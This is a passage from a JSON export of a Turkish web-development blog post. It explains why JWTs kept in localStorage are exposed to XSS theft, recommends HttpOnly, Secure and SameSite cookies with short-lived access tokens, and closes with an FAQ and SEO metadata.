        Uygulaman\u0131z\u0131n g\u00fcvenlik duru\u015funu d\u00fczenli olarak de\u011ferlendirmek, potansiyel zay\u0131fl\u0131klar\u0131 ortaya \u00e7\u0131karmak i\u00e7in hayati \u00f6neme sahiptir. G\u00fcvenlik denetimleri ve penetrasyon testleri, uygulaman\u0131z\u0131n ger\u00e7ek d\u00fcnya sald\u0131r\u0131lar\u0131na kar\u015f\u0131 ne kadar diren\u00e7li oldu\u011funu anlaman\u0131za yard\u0131mc\u0131 olur. Bu testler, manuel incelemelerden otomatik taray\u0131c\u0131lara kadar \u00e7e\u015fitli y\u00f6ntemleri i\u00e7erebilir ve g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 \u00fcretim ortam\u0131na ula\u015fmadan \u00f6nce tespit etmenizi sa\u011flar.<\/p>\n
        Bu ek g\u00fcvenlik katmanlar\u0131, HttpOnly<\/code> \u00e7erezlerle birlikte kullan\u0131ld\u0131\u011f\u0131nda, web uygulaman\u0131z\u0131n genel g\u00fcvenlik seviyesini \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131r\u0131r. Unutmay\u0131n, g\u00fcvenlik tek bir \u00e7\u00f6z\u00fcmle de\u011fil, kapsaml\u0131 ve s\u00fcrekli bir \u00e7abayla sa\u011flan\u0131r.<\/p>\n
        Sonu\u00e7: G\u00fcvenli Web Uygulamalar\u0131 \u0130\u00e7in Temel \u0130lkeler<\/h2>\n
        Web geli\u015ftirme d\u00fcnyas\u0131nda g\u00fcvenlik, asla g\u00f6z ard\u0131 edilmemesi gereken bir \u00f6nceliktir. JWT’lerin localStorage<\/code>‘da saklanmas\u0131, kolayl\u0131k sa\u011flasa da, web uygulamalar\u0131n\u0131z\u0131 XSS gibi yayg\u0131n ve y\u0131k\u0131c\u0131 sald\u0131r\u0131lara kar\u015f\u0131 savunmas\u0131z b\u0131rak\u0131r. Bu rehberde detaylar\u0131yla a\u00e7\u0131klad\u0131\u011f\u0131m\u0131z gibi, localStorage<\/code>‘a JavaScript kodu \u00fczerinden do\u011frudan eri\u015fim imkan\u0131, k\u00f6t\u00fc niyetli betiklerin kullan\u0131c\u0131 token’lar\u0131n\u0131 kolayca \u00e7almas\u0131na olanak tan\u0131r ve bu durum, kullan\u0131c\u0131 hesaplar\u0131n\u0131n ele ge\u00e7irilmesiyle ciddi g\u00fcvenlik ihlallerine yol a\u00e7abilir.<\/p>\n
        G\u00fcvenli bir yakla\u015f\u0131m benimsemek i\u00e7in, JWT’leri HttpOnly<\/code>, Secure<\/code> ve SameSite<\/code> i\u015faretleriyle birlikte \u00e7erezlerde saklaman\u0131z gerekmektedir. Bu \u00e7erezler, JavaScript taraf\u0131ndan eri\u015filemez olduklar\u0131 i\u00e7in XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 do\u011fal bir koruma sa\u011flar ve yaln\u0131zca HTTPS \u00fczerinden g\u00f6nderildikleri i\u00e7in a\u011f dinlemesi (eavesdropping) riskini azalt\u0131r. Ayr\u0131ca, k\u0131sa \u00f6m\u00fcrl\u00fc eri\u015fim token’lar\u0131 ve uzun \u00f6m\u00fcrl\u00fc yenileme token’lar\u0131 stratejisini benimseyerek, potansiyel bir token h\u0131rs\u0131zl\u0131\u011f\u0131n\u0131n etkisini s\u0131n\u0131rlayabilirsiniz.<\/p>\n
        Ancak, g\u00fcvenlik yolculu\u011fu sadece token saklama y\u00f6ntemini de\u011fi\u015ftirmekle bitmez. Uygulaman\u0131z\u0131n genel g\u00fcvenlik duru\u015funu g\u00fc\u00e7lendirmek i\u00e7in CSRF korumas\u0131, sa\u011flam bir \u0130\u00e7erik G\u00fcvenli\u011fi Politikas\u0131 (CSP) uygulamas\u0131 ve t\u00fcm kullan\u0131c\u0131 giri\u015flerinin kapsaml\u0131 bir \u015fekilde do\u011frulanmas\u0131 ve temizlenmesi gibi ek \u00f6nlemleri de hayata ge\u00e7irmelisiniz. D\u00fczenli g\u00fcvenlik denetimleri ve penetrasyon testleri de, potansiyel zay\u0131fl\u0131klar\u0131 proaktif bir \u015fekilde tespit etmenizi sa\u011flayacakt\u0131r.<\/p>\n
        Unutmay\u0131n, web geli\u015ftiricisi olarak sorumlulu\u011fumuz, sadece \u00e7al\u0131\u015fan de\u011fil, ayn\u0131 zamanda g\u00fcvenli uygulamalar in\u015fa etmektir. Kullan\u0131c\u0131lar\u0131m\u0131z\u0131n verilerini korumak ve onlara g\u00fcvenli bir dijital deneyim sunmak, mesle\u011fimizin temel etik ilkelerindendir. Bu rehberdeki bilgileri uygulamalar\u0131n\u0131za entegre ederek, \u00e7ok daha sa\u011flam ve sald\u0131r\u0131lara kar\u015f\u0131 diren\u00e7li web uygulamalar\u0131 geli\u015ftirebilirsiniz.<\/p>\n
        S\u0131k\u00e7a Sorulan Sorular<\/h3>\n
          \n
        1. \n        JWT’leri localStorage<\/code>‘da saklamak ger\u00e7ekten bu kadar tehlikeli mi?<\/strong><\/p>\n
          Evet, olduk\u00e7a tehlikelidir. Uygulaman\u0131zda k\u00fc\u00e7\u00fck bir XSS g\u00fcvenlik a\u00e7\u0131\u011f\u0131 bile olsa, sald\u0131rganlar localStorage<\/code>‘daki JWT’nizi kolayca \u00e7alabilir ve kullan\u0131c\u0131 hesab\u0131n\u0131z\u0131n kontrol\u00fcn\u00fc ele ge\u00e7irebilirler. Bu, kullan\u0131c\u0131 verilerinin \u00e7al\u0131nmas\u0131na veya k\u00f6t\u00fcye kullan\u0131lmas\u0131na yol a\u00e7abilir.<\/p>\n<\/li>\n
        2. \n        HttpOnly<\/code> \u00e7erezler XSS’e kar\u015f\u0131 tam koruma sa\u011flar m\u0131?<\/strong><\/p>\n
          HttpOnly<\/code> \u00e7erezler, XSS sald\u0131rganlar\u0131n\u0131n JavaScript arac\u0131l\u0131\u011f\u0131yla \u00e7erezlere eri\u015fmesini engeller, bu da token h\u0131rs\u0131zl\u0131\u011f\u0131n\u0131 b\u00fcy\u00fck \u00f6l\u00e7\u00fcde zorla\u015ft\u0131r\u0131r. Ancak, XSS sald\u0131r\u0131s\u0131 uygulaman\u0131zdaki di\u011fer hassas bilgilere (\u00f6rne\u011fin, DOM \u00fczerinden g\u00f6r\u00fcnt\u00fclenen veriler) yine de eri\u015febilir. Bu nedenle, HttpOnly<\/code> \u00e7erezler tek ba\u015f\u0131na yeterli de\u011fildir; kapsaml\u0131 XSS korumas\u0131 i\u00e7in giri\u015f do\u011frulamas\u0131 ve CSP gibi ek \u00f6nlemler de gereklidir.<\/p>\n<\/li>\n
        3. \n        CSRF sald\u0131r\u0131lar\u0131na kar\u015f\u0131 HttpOnly<\/code> \u00e7erezler yeterli midir?<\/strong><\/p>\n
          Hay\u0131r, HttpOnly<\/code> \u00e7erezler CSRF sald\u0131r\u0131lar\u0131na kar\u015f\u0131 tek ba\u015f\u0131na yeterli de\u011fildir. SameSite<\/code> \u00e7erez i\u015fareti (\u00f6zellikle Lax<\/code> veya Strict<\/code>) bir miktar koruma sa\u011flar, ancak en g\u00fcvenli yakla\u015f\u0131m, SameSite<\/code> ile birlikte CSRF token’lar\u0131 kullanmakt\u0131r. CSRF token’lar\u0131, sald\u0131rganlar\u0131n kullan\u0131c\u0131 ad\u0131na sahte istekler g\u00f6ndermesini engeller.<\/p>\n<\/li>\n
        4. \n        Eri\u015fim token’\u0131 ve yenileme token’\u0131 stratejisi neden \u00f6neriliyor?<\/strong><\/p>\n
          Bu strateji, g\u00fcvenlik ve kullan\u0131labilirlik aras\u0131nda bir denge sa\u011flar. K\u0131sa \u00f6m\u00fcrl\u00fc eri\u015fim token’lar\u0131, \u00e7al\u0131nmalar\u0131 durumunda zarar potansiyelini s\u0131n\u0131rlar. Uzun \u00f6m\u00fcrl\u00fc yenileme token’lar\u0131 ise kullan\u0131c\u0131n\u0131n s\u0131k s\u0131k yeniden giri\u015f yapma ihtiyac\u0131n\u0131 ortadan kald\u0131r\u0131r. Yenileme token’\u0131 da HttpOnly<\/code> \u00e7erezde sakland\u0131\u011f\u0131nda, g\u00fcvenli\u011fi daha da artar.<\/p>\n<\/li>\n
        5. \n        Frontend’den JWT’yi nas\u0131l y\u00f6netmeliyim e\u011fer HttpOnly<\/code> \u00e7erezde ise?<\/strong><\/p>\n
          Frontend’den HttpOnly<\/code> \u00e7erezlere do\u011frudan JavaScript ile eri\u015femezsiniz, bu da zaten g\u00fcvenlik amac\u0131na hizmet eder. Taray\u0131c\u0131, sunucuya yap\u0131lan her iste\u011fe bu \u00e7erezleri otomatik olarak ekler. E\u011fer bir API \u00e7a\u011fr\u0131s\u0131 401 Unauthorized d\u00f6nd\u00fcr\u00fcrse, bu genellikle eri\u015fim token’\u0131n\u0131n s\u00fcresinin doldu\u011fu anlam\u0131na gelir. Bu durumda, yeni bir eri\u015fim token’\u0131 almak i\u00e7in sunucuya \u00f6zel bir yenileme (refresh) iste\u011fi g\u00f6ndermelisiniz. Bu istek, taray\u0131c\u0131n\u0131n otomatik olarak ekleyece\u011fi yenileme token’\u0131n\u0131 i\u00e7erecektir.<\/p>\n<\/li>\n<\/ol>\n
          #WebG\u00fcvenli\u011fi #JWT #localStorage #XSS #HttpOnly #WebGeli\u015ftirme #SiberG\u00fcvenlik #FrontendG\u00fcvenli\u011fi #BackendG\u00fcvenli\u011fi<\/p>\n","protected":false},"excerpt":{"rendered":"G\u00fcn\u00fcm\u00fcz web uygulamalar\u0131nda kullan\u0131c\u0131 kimlik do\u011frulamas\u0131 (authentication) ve yetkilendirme (authorization) s\u00fcre\u00e7leri, g\u00fcvenlik a\u00e7\u0131s\u0131ndan kritik \u00f6neme sahiptir.","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_page_header_type":"","csco_page_load_nextpost":"","csco_page_subscribe_form":"","csco_page_contact_form":"","footnotes":""},"categories":[1],"tags":[],"class_list":{"0":"post-41768","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-genel","7":"cs-entry","8":"cs-video-wrap"},"yoast_head":"\nJWT'leri localStorage'da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber - Kodlar\u0131n Gizemli D\u00fcnyas\u0131<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"JWT'leri localStorage'da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber\" \/>\n<meta property=\"og:description\" content=\"G\u00fcn\u00fcm\u00fcz web uygulamalar\u0131nda kullan\u0131c\u0131 kimlik do\u011frulamas\u0131 (authentication) ve yetkilendirme (authorization) s\u00fcre\u00e7leri, g\u00fcvenlik a\u00e7\u0131s\u0131ndan kritik \u00f6neme sahiptir.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/\" \/>\n<meta property=\"og:site_name\" content=\"Kodlar\u0131n Gizemli D\u00fcnyas\u0131\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-14T18:08:34+00:00\" \/>\n<meta name=\"author\" content=\"Fatih Soysal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fatih Soysal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/\"},\"author\":{\"name\":\"Fatih Soysal\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"headline\":\"JWT’leri localStorage’da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber\",\"datePublished\":\"2026-05-14T18:08:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/\"},\"wordCount\":3328,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#respond\"]}],\"copyrightYear\":\"2026\",\"copyrightHolder\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/\",\"name\":\"JWT'leri localStorage'da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber - Kodlar\u0131n Gizemli D\u00fcnyas\u0131\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\"},\"datePublished\":\"2026-05-14T18:08:34+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/fatihsoysal.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"JWT’leri localStorage’da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/\",\"name\":\"Fatihsoysal.com\",\"description\":\"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim\",\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\",\"name\":\"Fatih Soysal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"contentUrl\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"width\":512,\"height\":512,\"caption\":\"Fatih Soysal\"},\"logo\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\"},\"description\":\"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"JWT'leri localStorage'da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/","og_locale":"tr_TR","og_type":"article","og_title":"JWT'leri localStorage'da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber","og_description":"G\u00fcn\u00fcm\u00fcz web uygulamalar\u0131nda kullan\u0131c\u0131 kimlik do\u011frulamas\u0131 (authentication) ve yetkilendirme (authorization) s\u00fcre\u00e7leri, g\u00fcvenlik a\u00e7\u0131s\u0131ndan kritik \u00f6neme sahiptir.","og_url":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/","og_site_name":"Kodlar\u0131n Gizemli D\u00fcnyas\u0131","article_published_time":"2026-05-14T18:08:34+00:00","author":"Fatih Soysal","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"Fatih Soysal","Tahmini okuma s\u00fcresi":"18 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#article","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/"},"author":{"name":"Fatih Soysal","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"headline":"JWT’leri localStorage’da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber","datePublished":"2026-05-14T18:08:34+00:00","mainEntityOfPage":{"@id":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/"},"wordCount":3328,"commentCount":0,"publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#respond"]}],"copyrightYear":"2026","copyrightHolder":{"@id":"https:\/\/fatihsoysal.com\/blog\/#organization"}},{"@type":"WebPage","@id":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/","url":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/","name":"JWT'leri localStorage'da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/#website"},"datePublished":"2026-05-14T18:08:34+00:00","breadcrumb":{"@id":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/fatihsoysal.com\/blog\/"},{"@type":"ListItem","position":2,"name":"JWT’leri localStorage’da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber"}]},{"@type":"WebSite","@id":"https:\/\/fatihsoysal.com\/blog\/#website","url":"https:\/\/fatihsoysal.com\/blog\/","name":"Fatihsoysal.com","description":"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim","publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1","name":"Fatih Soysal","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","contentUrl":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","width":512,"height":512,"caption":"Fatih Soysal"},"logo":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/"},"description":"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.","url":"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/"}]}},"yoast_meta":{"yoast_wpseo_title":"","yoast_wpseo_metadesc":"","yoast_wpseo_canonical":""},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/41768","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/comments?post=41768"}],"version-history":[{"count":0,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/41768\/revisions"}],"wp:attachment":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/media?parent=41768"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/categories?post=41768"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/tags?post=41768"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}